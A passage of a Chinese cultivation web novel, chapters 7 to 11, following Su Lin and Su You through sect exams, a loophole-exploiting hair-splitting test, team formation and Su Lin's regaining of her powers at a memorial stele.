这些“五花八门”虽然被发配到犄角旮旯,有师尊巡视,给外人看见,好歹还是灵山派照应着,其他人不敢欺负;如果有遗漏的人才也能及时发现,捡回去培养;如果有尾大不掉或者有贰心的门派,也能早发现早安排,震慑八方。
苏林微微一笑,心下给这个巡课发明人点了个赞。
她知道了这一切,目光落在不远处的一片叶
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子上,定定地出了一会儿神,然后从容起身,抖落身上的瓜子壳。
和着她以前耿耿于怀了那么久的资质问题、出身问题都是凡尔赛?
是眼界限制了她的认知。
原来山下有山,人下也有人。
大可不必那么焦虑辛苦的。
有点好笑。
苏佑在一边默默地看着苏林,此时凑上来,问:“老大,那咱接下来干嘛?”
对啊,他们是来找灵石的。
本来挺有趣的事情,被冷杉他们一闹,苏林觉得怪没意思的。
她吧唧吧唧嘴,肚子里空落落的,彻底没了兴致,问苏佑:“你还想去找吗?”
苏佑嘿嘿一笑,接着大肚子传来一声滚雷般的叫声,他说:“咱回去吃饭吧,他们都在山上,食堂的肉肯定剩得多,我好久没吃饱过了。”
苏林一笑,说:“行,走!”
说罢,两人提着八颗灵石返回出发点,交了差,然后冲去食堂,再开始一轮“筷筷见肉”的厮杀。
苏林苏佑吃饱喝足,异常满足,勾肩搭背往宿舍走,路过布告栏的时候,被人群堵住了,原来是体测成绩已经出来了。
他俩已经从热血状态恢复常态,成绩对常态的二人来说已经不重要了,他们只想快点儿从人群中穿过去,然后洗洗睡。
苏佑拍了拍身前的一个人:“麻烦借过一下。”
身前那人被堵在最外圈,跳起来都看不全榜单,正不爽,回头就对嚷:“急什么,先来后到,我还没看呢!”话说完,认出苏佑和苏林了,顿时脸色一变,赶紧闪到一边。
苏佑感慨:当学渣“流氓”变成学霸“流氓”,杀伤力顿时翻倍。
毕竟学渣还有师长整治,但学霸很可能有师长相护。
就这样,通往榜单的人群硬生生被苏佑一声声“劳驾”撕开了一条大路。
但这条大路并不是通向宿舍,而是榜下。
两人不想去看榜,硬生生被人群指引了过去。
到都到了,看一眼也成。
“老大,老大!”苏佑拉着她的衣袖,压抑着兴奋喊:“老大,第一,我们还是第一!”
苏林抬头看过去,榜首果然又是“双苏”的名字。
冷杉和王小虎的名字紧跟在后面,体测他们也是人均四颗灵石,跟苏林苏佑打成平手,但两门总成绩仍以人均一分之差屈居第二。
冷杉和王小虎也在看榜的人群里,此时见到苏林和苏佑,视线相对,分外眼红。
他们中间的那些闲杂人等很识相地闪开了,留下四人站成了两个阵营,隐隐散发出红蓝王霸之气。
苏林心中一动,冒出一个念头:“灵霄山的先贤碑上,有没有闫林秀的名字呢?”
她想去看一看。
苏林心中有了计较,本来淡泊下来的好胜心突然又被激起,不用怎么费力就拿下前两轮的第一,只剩一科,干嘛不拼一把呢?
苏林瞅着冷杉一笑,心说:小子,我要开始认真。
8. 第 8 章
苏林接连胜利了两次,心态逐渐膨胀,显然已经忘了态度跟能力是两回事,努力跟结果的关系并不太大,尤其是修行这种看天资的事情。
她双手插兜立在枉水河边,听苏佑给她恶补练气知识。
“老师说了,练气是在健体的基础上,更深一层地控制自身,以气的形式聚集能量。”苏佑捧着本子,一个字一个字地读。
今夜月色不美,苏佑笔记写得很满字很小,他看得很吃力。
谁能想到呢?一个不听课的学渣,竟然会认认真真做笔记,是为了防止自己听课睡着吗?
苏林把左手从兜里抽出来,掏出一根蜡烛,点燃递过去。
苏佑的语速明显快了。
开头都是些对练气的分析。
这些是闫林秀当年没有的,苏林一边好奇,一边感慨:想不到短短几十年,修仙基础理论研究已经上了一个新台阶,分析得很到位。不知训练方法有什么创新,想当年他们就是自己瞎琢磨,大多数都采取打坐和劈竹子练习。
就听苏佑说:“截至目前,有以下几种训练方法让人顺利通过了考核:一、打坐,这是感受气息,用气息带动肌肉......”
好,来了。
苏林更加认真听起来,闻言点点头,这个是传统做法了,亲测有效,但不能速成。
“二是编竹篮......”
?
苏林以为自己听错了:“二什么?”
苏佑肯定地说:“编竹篮。”
这倒是出乎苏林意外,往深一想,这个方法可能是劈竹子的后续步骤,毕竟编之前得劈,可当年劈竹子效用不大,就被闫林秀舍弃了。
苏佑见她皱眉,继续说:“第三是打猎。”
苏林边听边想:这大概是因为观察力、爆发力、耐力种种的综合锻炼,从前也有人用过。
“四是打架”。
这个也能理解吧!
“五是游泳,六是睡觉,七是吵架,八是化妆......”苏佑见苏林没喊停,干脆把这些方法按顺序全部读出来。
苏林震惊之余,不禁感叹:只能说大千世界真是养育了各种人才啊!
可一种能复制、可速成方法都没有。
看来理论发展还得结合实践,不然分析得再透彻,还是没用。
苏佑一本笔记念下来,后面就是练气的重要意义、影响练气失败的因素等等。
念完,苏林、苏佑二人面面相觑----和着两个人偷偷跑出来,闹这么大阵仗,单纯就是给苏佑加了节朗读课,还是有人举灯的那种。
苏林叹了口气,吹灭了蜡烛,把蜡烛放回左边兜里,顺手又掏出把小刀,右边兜里摸出一把剪刀。
苏佑一惊,问:“老大,你干嘛?”
苏林捋了一把头发握住,咔嚓,一剪子剪下一把来,分出来一半递给苏佑,说:“练吧!”
苏佑看着这把头发,幽怨地瞅了苏林一眼,说:“老大,知道的人呢,知道我俩是为练气剪头发,不知道的还以为你来修了个发尾呢!”
苏林太爱惜她的头发了,就剪了一寸来长,抓在手里都扎手。
“少废话,你能劈开这就不错了。”苏林把头发塞给苏佑,想看看他的实力,能望气的人天资一般很好,速成希望更大。
苏佑酝酿了一下,闭目敛神,在慢慢调息。
苏林在一边看着,发现苏佑沉静下来后,在某一个瞬间整个人突然白了一个度,就像大冬瓜唰一下刷了一层白霜。
就这个当下,苏佑突然睁开眼,目光清澈,凝聚在手中刀和头发上。
他的手一松,头发从半空中飘落,在昏暗的夜色下,苏佑的眼睛在发光,他手中的刀顺势跟上----“唰”地一声,削掉了半截大拇指指甲。
“啊呀呀!”
白霜褪去,苏佑惊叫起来,带着哭腔说:“斯,好痛!我留了好久的指甲啊!”
苏林满脑袋黑线。
她在期待什么?
期待能捡个漏,单靠苏佑拉高平均分么?
还是靠自己吧!
苏林打坐调息,憋了半天,丹田里啥也没有。
两人你看看我,我看看你,神情萎靡地对坐无语。
苏林问苏佑:“你想得第一吗?”
苏佑想了想说:“得也行,不得也可以,咱不是顺应天时地利,被推到这步了嘛。”
苏佑怕苏林以为他临阵脱逃,忙反问:“老大,你呢?你想得第一吗?”
苏林想了想说:“无所谓。”
她只是想去灵霄山看看。
想到这点,苏林突然眼前一亮:对啊,她只是想去灵霄山,灵霄山又不是不欢迎外客,干嘛非得得第一,自己上去不就得了?
“老大,你又有什么鬼点子?”苏佑鬼头鬼脑凑过来。
苏林瞅着苏佑,这么单纯可爱的孩子,还是不拉他下水了,于是起身说:“算了,咱也尽力了,回去睡吧。”
苏佑拉住苏林说:“其实还有一个办法----老大,要不咱们过河吧?”
苏林奇怪:“过河干嘛?”
苏佑低低地说:“这边拿不到第一,过河去桃山派,说不好能拿第一,也是能推荐上灵霄山的。”
苏林一惊:“这不是叛出师......”
苏佑赶紧捂住苏林的嘴,说:“别嚷,这又不是什么新鲜事儿,好多人这么干!”
苏林这下真惊了,问:“怎么回事?你细说说。”
苏佑说:“我听说,对面桃山派比咱们茅湾派更朴素,往年有不少桃山派底子跑过来,改换门庭,似乎来了之后是有那么一点儿提升,不过,相比灵山大会选拔标准来说,聊胜于无。”
苏佑说到这里,把声音压得更低,说:“既然他们可以跑过来,那咱们也就可以跑过去,反正撩起裤腿就能淌过河,也没人站岗,两边都知道也没人管。”
苏林闻言消化了一会儿,问:“灵山大会是什么?”
两人本来说着过河,苏林突然问上山,苏佑卡顿了一下,才说:“灵山大会就是灵霄山面向三山四海的招贤令,通过选拔就能拜入灵山派。不是灵霄山下属山头也能参加,散修也能参加,但难度比我们这个大,我们这个是内选。”
“怎么选拔?”苏林追问。
苏佑挠头说:“好像是有几关吧,天资、法术什么什么的,不过老大,咱们练气测试都通不过,那个就更不可能了。”
苏林想想也觉得对。
苏佑见她没再提过河的事,也便不再提了。
两人一前一后,没精打采地各回各家,洗洗睡了。
第二天的练气测试现场。
苏佑扶着睡帽,打着哈欠,浑不在意地跟人打招呼,看样子是起来迟了,腰带都没系好,留出条尾巴。
苏林却神情亢奋,一双滚圆的眼睛滴溜溜乱转。
他俩跟另外四支队伍排在最中间队伍。
七十六人、二十支队伍被分成了四组,每组五支队伍,四个组同时开始测试,能节省时间。
苏林刚站好就看到了隔着一道队伍的冷杉,他目视前方,一贯气定神闲,胸有成竹。
苏林悄
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悄藏到苏佑身后,手指左右交叉,摆出一个难度很高的手势,然后对准冷杉方向,口中念念有词。
既然自己没法突破,那就只有寄希望于对手失误。
苏佑回头看了一下,又朝苏林对准的方向望了一眼,心平气和地说:“老大,没必要,真没必要。”
他俩翘首看着,真没料到,平时不吭不哈的同窗们,天资不怎么厉害的同窗们,经过一年的辛苦,竟然都有了一定收获,多少能把刀切进发根,厉害的已经能劈到半尺,比如冷杉。
苏林和苏佑都有些讪讪的,心下警醒,别看人家平时嘻嘻哈哈,原来都在悄悄用功!
轮到他俩。
此时测试已经到了尾声,周围不少人都围过来看。
苏佑从监考官手中接过小刀,犹豫了一下,又把刀递给苏林。
苏林无奈,只能接过刀,冷下来,深吸一口气,闭上眼睛凝神聚气----可惜气依然是散的。
山间吹过一缕风,穿过竹林时,把竹叶撩得沙沙作响。
苏林缓缓睁开眼,视线落在手中的刀锋上,抬手扯下一根头发,抛起,刀锋一闪,然后收刀入鞘,把刀拍在桌上。
众人敛声摈气地看着,都想看看这匹黑马、这位经师尊点播过的苏林,能劈开多少。
风渐渐散去,苏林的头发缓缓飘落,落在桌面的白布上----一根,紧接着,又一根。
是完全分散落下来的,众人争相去看,听监考师兄高声唱道:“0分~”
两段头发是被拦腰切开的,并非从中间劈开。
苏林没有再试第二遍,转过身,断然离场。
说实话,这一刻,她是有些难受的。
一个修炼了那么多年终有小成的修行者,此时却连聚气都做不到,她真切地体会到“无能为力”四个字的分量,能压得人手脚沉重,压得人目光无神,能压得人不敢怒、不敢言。
沉默的苏林,让周围人都感受到她的压迫,默默注视着她离开。
“老大......”苏佑喊她,苏林没有停下。
苏佑想去追,被人拉住:“到你了!”
苏佑心中着急苏林,忙把帽子一摘,露出一颗光溜溜的头来,他拿起刀,贴着头皮削下一丁丁毛发,然后挥刀一砍,头发被劈成两半。
负责监考的师兄急道:“不算不算,你这是作弊!”
苏佑一拍桌子,问:“什么叫作弊?你说,我有没有劈开‘自’‘己’的头发?你就说,有没有劈开?是不是从中间劈成两边,你就说,有!没!有!”
监考师兄被问得楞在当场。
围观众人也惊呆了。
“真论起来,他的确是劈开了自己的头发,还全劈开了,可以给满分。”一个人说。
听见这话,观众轰然一声炸开了,不少人若有所思地摸上自己的头发。
“这是投机取巧,给零分,坚决打击这种歪风邪气!”另一个人说。
“零分也不至于,他好歹还是刀切进头发丝儿了,按照长度给分得了。”还有人提议。
“哈哈,这小子倒是会钻空子,幸亏他考得迟,要是头一个考,还得了分,茅湾派转眼变茅湾庙,宣扬出去,灵霄山都可能从道门变成佛门。”更有人笑起来。
众人争论不下。
最年长的一个监考出主意:“这事说起来不好断,不然把问题上交吧,咱们不好评判,还有长老们,他们见多识广、经验丰富,看他们怎么断。”
几个监考的师兄一合计,采纳了提议,把苏佑的那根断毛用白布包好,呈送给长老定夺。
9. 第 9 章
茅湾派规模不大,但建制很全。
苏佑这段头发,说是送给长老,其实当中走了不少流程。
因为初学馆建在长门,所以,先是经由监考师兄送到长门执事弟子。
面对这种非常规的工作,执事弟子都没自己接,赶紧带着监考去找分管师尊。
师尊听了这事,有些为难,带着执事弟子和监考去找首座。
首座正在收功,一边压腿,一边不急不慢地说:“那就召集本门师尊,开个小会,讨论下。”
长门是茅湾最大的师门,人多事多,师尊便有十位,众弟子传信集会,等十位师尊到齐,已经到了晌午,为了不耽误时间,众位师尊决定开个餐会,边吃边议。
饭吃完,意见没统一,首座决定,把这根头发往上呈,呈给分管长门的长老。
长老习惯找个僻静地方修行,吃晚饭时才回住处,被等了一下午的首座等四人堵住。
长老说:“诶,先吃饭,吃饭不谈事。”
长老留四位吃完饭,休息了一会儿,听了这事,也看了长门的开会记录,想了想,说:“初云馆虽说是长门管理,但年测第一去灵霄山内选,这是关系我派的大事,我一个人怎能做主?还是去请掌门定夺吧!”
此时,已经二更,众人不便去打扰掌门,约好明日一早再来。
第二天,五人早早赶到掌门住处,不料掌门应邀去了桃山派,要留宿一晚才来。
第三天巳时,五人才见到掌门。
掌门听完哈哈一笑,说:“这个孩子倒是有些灵气。下午开个小会吧,正好把这届内选名单拟定一下,五位长老都来,还有些事情都议一议。你们也别去了,一起吃个饭,一起听一听。”
下午的会却不是从苏佑这事开始议,而是从本派灵石储备、灵草培育、物资采买等事开始,等议到苏佑这事,已经快到饭点。
掌门的语速越来越快,会议流程刷刷刷地往下走。
终于轮到“苏佑”个议题,掌门没有让其他人先说意见,直接开口说:“内选推荐人选要认真选拔,内选结果不仅对参加个人意义重大,而且对我们争取资源也很关键,需要认真对待,慎重选择。”
掌门话锋一转:“内选、我们初选的初衷,都是选出真正的好苗子,成绩只是一个部分,固然,成绩是一个重要的参考因素,能在某种程度上反应出一些问题,但对每一个人,都要综合考量,不能漏掉一个人才,也不能不负责任地随便把一个人推上去。”
记录人员还在奋笔疾书,掌门已经愉快地宣布:“好,下一个议题。”
首座就领着师尊、执事弟子和监考出来了。
监考悄悄问执事弟子:“掌门说的啥意思?”
执事弟子丢给他一个古怪的眼神,紧追着自家师尊和首座去了。
初学一年级年测完毕,第四天,才放榜。
苏佑的练气最终判定为10分,理论9分,体测4分,以总成绩23分的成绩位居榜首。
冷杉理论9分、体测4分、练气5分,总分18,第二。
苏林的练气只有0分,但她理论9分和体测4分,成绩逆天,以总分13分的成绩跟王小虎并列第三。
看榜的人里有人喊:“苏佑作弊,那都能得10分!那我剃光头是不是也是10分呢?”
放榜的师兄正色说道:“所有的规则都是人定的,必然有不完善的地方,发现并利用规则的漏洞也可以算作考核的内容之一。”
“那我就去剃头,我们都去剃光头,让这练气测试废了!”那人气愤道。
师兄笑道:“如果你在考试时想到这点,是可以得到10分的,但是现在迟了。”说着他拿出另外一张告示,贴在榜单旁边。
师兄高声宣布:“从今日起,练气测试规则有了修改,满分为劈开一尺长的头发。这一修改同样被灵霄山及灵霄山下属其他山头采用。”
最终,“双苏”小组以总分第一击败了“小虎冷”组合,代表茅湾派参加灵霄山内选大赛。
苏林看到内选名单,有点儿难以置信,继而五味杂陈。
到底是混过师尊圈的人,她对呈送长老的那套流程熟悉得很,对于王小虎的背景深厚程度也是有概念的,明明把苏佑判定为0分就能顺利把王小虎和冷杉推上去,竟然没这么做!
这茅湾派的最高决策层莫非是难得的清正之士?
苏林都有些愧疚了,做心里建设时把对方想得太坏,真不应该----世间还是公平的。
不知怎的,得出这个结论,苏林内心有几分荒诞感。
她茫然了片刻,觉得头晕,脑子里记忆中的世界,跟现实世界出现偏差,导致混乱。
“老大,你怎么了?”苏佑发现苏林不对劲,赶紧扶住她,鼓励道:“老大,坚持!首座说要请我们吃饭,你一定要坚持到吃完饭再倒下!”
本来要感动的苏林忍不住喷笑。
“首座为什么请我们吃饭?还有谁?”苏林问。
苏佑说:“段班长给我说的,让我告诉你,好像就我俩,还有冷杉他们吧。”
苏林听还有冷杉他们,顿时警觉起来。
有诈!
原来在这里等着他们呢。
这是要耍手段,拉他们下来,再让王小虎顶替,这样既显得评分公正,又程序正确,让人挑不出理。
对,一定是这样。
不去!坚决不能去!
但是,苏林又有点好奇,他们想怎么做呢?好想知道他们想耍什么手段。
苏林有点动摇:她跟苏佑是两个人,小心一点应该没问题吧。
哎,管他呢,去会会他们!
不知为何,苏林竟然有点儿兴奋和期待。
宴设在长门,苏林苏佑过去的时候,圆桌已经只剩两个空座了。
苏林进去的时候大概看了一眼,人不多,七八个的样子,是个小宴,段草堂和江城也在,她跟苏佑是桌上辈分最小的,但留给她跟苏佑的位置竟然不是最靠近门边,而是更近主位。
苏林心里“哦豁”一声:果然有明堂。
这必定是有求于他们,才摆出这样的姿态来嘛!
苏林心中有了计较,笑呵呵地跟在场首座、师尊、师长道好,一圈下来,谁也没记住,只发现在场有冷杉,但是没有王小虎。
一圈人坐定,师尊开始暖场:“几个年轻人恐怕还不知道,咱们灵霄山一脉的规矩,不管是谁,上桌先干一杯。”
苏林看着眼前的快冒尖的一杯玉竹清,足有二两,不禁腹诽:我咋不知道有这规矩。这玉竹清名字叫得淡,其实烈得很,这不是难为人么。
但他们是小辈,在场人都喝了,他们仨不得不喝。
好在这酒入口还行,没那么痛苦,只是后劲儿大。
苏林喝完咂摸咂摸嘴,想当年她的酒量不咋地,不知道现在这身体能喝多少。
冷杉喝完,两腮就红起来,跟打了胭脂一样,挺好看的。
苏佑跟没事人一样,开始切入正题----吃席。
席上场面话已经说完,正题还没有切入,出现了短暂地冷场,苏林只当不知道,跟着苏佑乐呵呵吃肉。
不得不说,首座赞的局,比他们食堂好多了。
苏佑吃得几乎要站起身了,两只膀子跟两只小翅
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膀似的,恨不能飞到圆桌当中。
众人看得目瞪口呆,苏林暗暗发笑。
苏佑其实还是有所收敛的,他早就看中冷杉跟前一盘肘子,但距离太远,没敢尽兴去够----在首座面前尚存了几分敬畏。
冷杉不动声色,夹菜的时候,把盘肘子往苏佑跟前顶了一下。
苏佑双眸一亮,赶紧上筷子。
段草堂见缝插针,说:“你们是本届三元,也算是不打不相识,如今正好重新认识认识。”
师尊清了清嗓子,然后把掌门开会时说的话复述了一遍:“内选大赛不仅关系到你们个人的前途,灵霄山年底的资源分配也与参赛队成绩有关,这就不仅关系个人荣辱,也关系本派利益了。”
苏林听了这话,抓住了其他信息:“原来内选不是直接拜入灵山派,而是有机会去参加内选比赛,比赛成绩好才能加入灵霄山,还能给原山头多给物资,就是相当于用物资换尖子生。”
苏林觉得无所谓,反正有机会上凌霄山就行。
师尊那边开始切入正题:“我们的“双苏”组合,两个人都很优秀,但据我们了解,其他门派参加内选大赛的都是四人队,就力量上来说,还是四人更好。所以,经过长老们讨论,掌门点头,决定把队伍打乱重组,让前四名重新组队,参加内选。”
前四名,就是苏佑、冷杉、苏林跟王小虎。
师尊问:“你们觉得怎么样呀?”
冷杉自然同意。
苏佑叼着肘子,眼神看向苏林。
苏林听了这个消息,心里反而踏实下来,想到自己先前还因为误会茅湾派掌门长老而愧疚,此时只觉得自己还是太单纯,就说嘛,怎么可能!这才正常嘛!
人不茫然了,头也不晕了。
她笑盈盈地站起身,举杯道:“好,挺好,人多力量大嘛。”
苏佑闻言,也点头。
冷杉闻言,收回视线,有心问了一句:“那这支队伍叫什么名字?”
“哈!”段草堂高兴地拍了一下冷杉的肩膀,说:“冷、苏、苏。”
“啥玩意儿?”苏林以为自己听错了。
苏佑夹着的鹌鹑蛋滚到地上,呆呆地重复了一句:“冷嗖嗖?”
苏林说:“‘小虎冷’也是你取的吧?四个人,王小虎没呢,改一个改一个!”
段草堂说:“小虎他自己要求不加名。”
苏林心里蹦出个小人,指着段草堂鼻子说:“他不加名,你心里没点bee数吗?八成是知道了你取名字的尿性,主动放弃,不然叫‘小虎冷苏苏’,还不被人笑死!”
苏林酒都快上头了:那是灵霄山啊,闫林秀当年驰骋纵横的灵霄山啊!要是被人知道她的队伍叫“冷苏苏”,还怎么混!
她急道:“非得用名字取名、非得这么排序吗?‘冷苏苏’‘苏苏冷’......干嘛不叫干脆‘苏佑冷’呢?”
苏佑赶紧说:“我不冷。”
桌上有人喷笑。
段草堂喝得脸发红,兴奋地说:“掌门、首座都说好,首座还说‘冷’字在后面不好,所以我才提到前面来的。”
首座笑眯眯地点点头,表示认可。
旁边江城见苏林还要纠缠,开口道:“名单已经报上去了,撤不回来了。”
苏林闻言,心拔凉拔凉的。
还说什么呢?
只能认下。
她努力安慰自己,“冷苏苏”比“苏苏冷”是好听一些。
前者是个像个形容词,还有点莫名的意境;而后者颇像个叫苏苏的女/男孩子的“茶艺”。
果然,幸福都是比较出来的。
10. 第 10 章
各门派参加内选大赛的名单送到灵霄山,由灵山派长门汇总,经过长老们商议同意,再誊写参赛名单,下发回各门派。
与此同时,灵霄山中要选定评委。
按照惯例,评委有九人。秉承公平原则,灵霄山各宗门各出1位师尊,还有2个位置,留给同为“三山四海”中的另外两山----昆仑山和点苍山派出代表。
给昆仑山和点苍山发帖子有成例,文辞上稍加改动即可,也早在各门派初选时就已发出。
麻烦的倒是在灵霄山内拟定评委人选,既要排除与参赛人员有亲属关系的人,又要考虑到往年参加频次、各位师尊间微妙的座次关系,还要有替补人员以防有些人突然缺席,总之要考虑周全。
长门弟子周全就光荣地接到了这个任务,光拟定人选表就改了十三次,长门长老多,人多想法就多,改来改去,最后还是眼看后天就要比赛了,首座才勉强同意了第十四版,呈送给掌门。
不料掌门仍有改动,周全只得再调整一遍。
跟着他打杂的小师弟嘟囔:“还不如早给掌门看呢,只改一次拉倒,来来回回,累死个人!”
周全瞪他一眼:“慎言!”
小师弟不说话了,但翻了个白眼,撇了撇嘴。
周全终于把修改稿誊写完,忙呈送给首座。
首座看了名单似有话说,但只抿了抿嘴,扔回给周全:“按掌门的意思去办吧。”
周全大松一口气,此时已经一更天,怕师尊们再有变动时间赶不及,只得赶紧安排人去各宗门下评委聘书。
长门这里则是他自己去请。
小师弟已经累得睁不开眼了,问:“莫师尊那里还要去吗?他每年都没有同意,要不不去了?莫师尊住得好远!”
周全说:“他去不去是他的事情,但请不请是我们的事。这个礼数得走到。”
小师弟只好拽着周全的袖子,边打瞌睡边赶路。
莫师尊住在十里坡,虽是长门地界,但离得远,倒是靠近飞瀑峰。
等他们走到十里坡,已经快二更天,拍门等了好一会儿,才有人来开门。
两人口中道着“叨扰”,抬头一看,开门的竟然是莫师尊本尊。
莫怀仁见到他二人,也有些意外,接过聘书,还有参赛名册,不知怎的,一下子就看到了“苏林”这名字。
他微微蹙了一下眉头。
出来的时候,小师弟已经困过性儿了,双目炯炯有神,悄声问周全:“莫世尊向来除了巡课,其他俗务一概不管,今年怎么同意做评委了呢?好奇怪啊!我看他刚刚皱眉头了,咱们的名单有什么不妥吗?”
周全见已走远,稍稍压低声音,凑到小师弟耳边,含笑说:“名单上茅湾派,那个‘苏林’就是给莫师尊刮痧的那位!”
小师弟眼睛瞪得滚圆,惊讶道:“真的?就是她呀!难怪啦!不是拔罐吗,还刮痧了?”
此时,一阵风簌簌而起,卷起不知什么铺天盖地朝他们卷来。
“呀!”两人赶紧用袖子遮住头脸,埋头闭眼,等这阵风过去。
两人慢慢放下胳膊,睁开眼一看,才发现满眼都是粉色的花。
来时赶路,没留意,此时风把云吹散了,月光亮得吓人,把这条路照得清清爽爽。
原来路的一边全是开满了花的樱花树,树冠盖住了整条路,地上铺了一层落英,两人就像走在一条粉色的山洞中。
“哇,想不到冷冰冰的莫师尊家门口,竟然有这么一条路。”小师弟一边用手去捉飞舞的花瓣,一边笑着说。
周全侧头去看路边是小溪水,水中也铺满了半边点点的花瓣,抬头隐约能望见飞瀑峰那边的瀑布,像挂在空中的一把拂尘。
修行之人却贪恋山色湖光。
他不禁感慨:“听说莫师尊是少壮师尊中功法最深厚的,本有机会冲一冲天劫,不知是不是被这些搅扰了道心。”
小师弟年纪尚小,听不懂,问:“被花?”
周全没有回答他,偷偷在他小腿肚上抓了一把,咋呼道:“啊呀!有鬼!”
小师弟吓得大叫一声,往前飞奔,在一片花雨中屁滚尿流地跑走了。
远在茅湾的苏林不知道,她人还没到灵霄山,但灵霄山已经到处都是她的传说。
她此时有点儿兴奋,在床上辗转反侧,明天就要上山,正式进入灵霄山了。
苏林有些期待,又有些害怕。
害怕什么?
她也不太清楚,左右睡不着,只好大睁着眼睛,干巴巴地数着铜漏的滴水声。
苏林设想了很多种上山后的可能,各种被发现的场景、被不分青红皂白追拿的场景,最惨的就是被抽出魂魄而后魂飞魄散,每一种都足够新奇,足够壮烈,足够唯美,足够不凡。
但独独没有料到,她会被夹在乌泱泱的人群里,甚至不用自己走,就被前后人夹着上了灵霄山顶。
苏林被挤得黑汗水流,不禁感慨:灵霄山到底多少分派啊,灵霄山山头上跟撒了一层黑芝麻似的。
闫林秀那时候的灵霄山已经很强大了,没想到如今短短几十年,竟然发展得如此壮大,难怪要拆了山头分派出去,不然得挤成啥样?得多少东西够吃?灵霄山七个山头的草都能给薅秃了。
拥挤的人群被九个擂台勉强分割成九小块,苏林他们被分在第九台。
苏林看见这九个擂台,感觉到一种荒诞的幽默感。
参赛的都是才入门一年的小孩子,练气都没练顺畅的门外汉,打擂台怎么打?就算体力、控制力强大了,也不过是平常的武术水平,跟修仙不搭噶呀!
苏林、苏佑和冷杉被挤在台下看榜,他们排在第六场,对手是桃山派,靠后,得等一段时间。
比赛开始前,有冗长的讲话,苏林没听,她左右乱看,谋划着挤出去看先贤碑的路线。
不巧得很,他们的九台在最南边,而先贤碑在最北面,她得穿过整个赛场。
那边长门首座宣布:“内选大赛现在开始!”
苏林就开始跟着人群慢慢动起来,借口三急,开始从南向北蠕动。
这时候也讲不得什么了,她感觉自己巴拉人跟巴拉葱一样,被巴拉开的人脚没地儿挪动,只得闪开身体,等她过去,又恢复原状。
苏林深一脚浅一脚,脚下不知踩到些啥东西,反正根本踩不到硬的。
好不容易来到六台旁边,苏林耳边闻听一声“嗡”响,脑中的记忆被点燃----这声音好熟悉啊!
她仍在拨葱,眼前一花,似乎看到一柄飞剑从头顶上飞过。
是监考的师尊清场吗?
她抬头朝台上望去,只见飞剑不是一柄,而是两柄,而且御剑的不是师尊,是两个十三四岁的少年。
我靠,初学一年就会御剑?!
苏林震惊:就是前世闫林秀来,也买不起那剑啊!
来前,她是没把内选大会当回事的,毕竟初学一年的小朋友,练气都没顺畅,能
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比个什么?比赛拔头发?
这时她才意识到,这个内选大会不简单。
但是,毫不影响她朝先贤碑前进的脚步。
九个台子,三横三纵,她本来是想从九台到六台,而后到三台,就能出去,没想到从六台过来,不知怎么被人挤到了第五台,到了最中心。
苏林口干舌燥,心里很烦,扭头一望----台上那孩子怎么头顶有青烟?!
这不是筑基了吧!
初学一年突破筑基?
这还是她理解的初学一年吗?
这还是她所在的初学一年吗?
这不是妥妥的碾压局么?简直了!
苏林已经完全改变了对内选大会的看法,深深感觉到自己的炮灰属性越来越强烈,遥想闫林秀当年这么大的时候,也没这么逆天啊!
现在的小孩哥太厉害了,现在的孩子太卷了!
苏林最后不是从第三台,也不是从第五台,而是从第一台出来的,终于把人群甩到了身后。
先贤碑,依然立在那里。
这边仍然有不少人,但比先前已经轻松多了。
苏林穿过人群,终于站在了先贤碑前。
她有些高兴,深吸一口气,从第一个名字看下去,一个一个,一行一行,不知怎么,胸中涌起一阵阵热浪,脑中浮现出一幅幅虚幻不明的画面,一滴泪,顺着腮边落下。
苏林抬手拭去----这不是伤心。
她心中仿佛有什么火热的东西在鼓胀,脑子里纷乱难定。
苏林往下看,视线终于落在了“白曜”上面。
后面的名字,她不认识。
没有“闫林秀”。
再看一遍,还是没有。
苏林的手指触摸着石碑粗粝的表面,很凉,冷得手指发痛。
她呆住了。
她的眼睛闭不上,痴痴地大睁着,被山风吹得干涩。
她的心尖发出一点微麻,慢慢像蛛网罩住她的整个心脏。
她在问。
“在哪里呢?我在哪里?”
“为什么没有‘闫林秀’?”
“这短短的四十年,到底发生了什么?”
在一声声追问中,苏林感觉到一股冰凉的冷意顺着她的手指侵入,很快就从手腕蔓延到胳膊,速度越来越快。
苏林想收回手指,但拔不动。
就在冷意越过胸口,围堵到心窝时,她的心突然一跳,仿佛有什么复活了,继而滚烫,这股热量从心窝膨大起来,像一股热浪,滚滚地抵挡住了入侵的冷意。
这股寒冷的气息比莫怀仁那股气霸道得多,也引发她体内更激烈地抵触。冷热气浪两相推涌,越来越凶猛。
苏林被这两股力量折磨得全身撕裂般痛苦,隐隐意识到:我要死了吗?
不知相持了多久,突然冷意骤然瓦解,苏林身体内的热量太多,就像烧滚的热油,到达临界点突然爆燃,轰然一声巨响,烧遍了她的全身。
苏林整个人失去了意识,脑中只剩下白茫茫一片。
这一刻的轰然过后,是久久的寂静。
过了好一会儿,苏林耳中才听到周围的呼号声,她左右环顾,远的、近的,山川草木、人马走兽慢慢清晰起来,她的神智从激荡的顶点落定下来。
然后呢?
苏林张开手掌。
“破!”她低低念了一声口诀。
应声
一朵蓝色的火焰出现在她的掌心。
11. 第 11 章
苏林看着手中的火焰,陷入了沉思。
她没有恢复记忆,丹田内依然空空,但恢复了修为。
但她以前是水系啊,出现也是出现水花,怎么会出现火焰?火系身体、水系法术,所以就产生了蓝色火焰吗?
这……
哎,管他呢!
只要有就行!
那接下来,参加内选大赛,不就跟跟大炮打蚊子一样吗?!
苏林顿时兴奋起来。
管你御剑、筑基,能比的过金丹期的师尊吗?
灵霄山中有她的记忆,她得留下来,搞清楚为什么没有加她的名字。
要留下来,只有赢得比赛。
苏林冷哼一声:“苏佑、冷杉、王小虎,真羡慕你们,你们运气真好!一不小心就傍到了大腿,快感谢我吧,本仙尊带你们飞!
苏林感觉自己精力异常充沛,小宇宙熊熊燃烧。
她举目望向乌泱泱的人群,师尊的自信重回体内。
但出现一个难题:一切的前提是穿越过人群,得先回去。
她又不能跟正经师尊一样飞过去,她不能暴露太多,得苟。
苏林正在这里发愁的时候,听到后面有人叫:“苏林老大。”
苏林回头一看,是王小虎。
王小虎自从到了灵霄山地界就不见踪影,没跟他们吃住,连比赛入场都是没一起,说是到点儿再来。
显然这小子早就知道比赛盛况,错峰出行,避免被人挤坏了造型。
你别说,此时跟黑汗水流的苏林比起来,这小子衣冠楚楚的还真是个翩翩美少年,跟冷杉对比,偏阳光类型。
“老大,你在这儿干嘛?”王小虎问。
苏林没好气地说:“上茅房,现在得回去。”
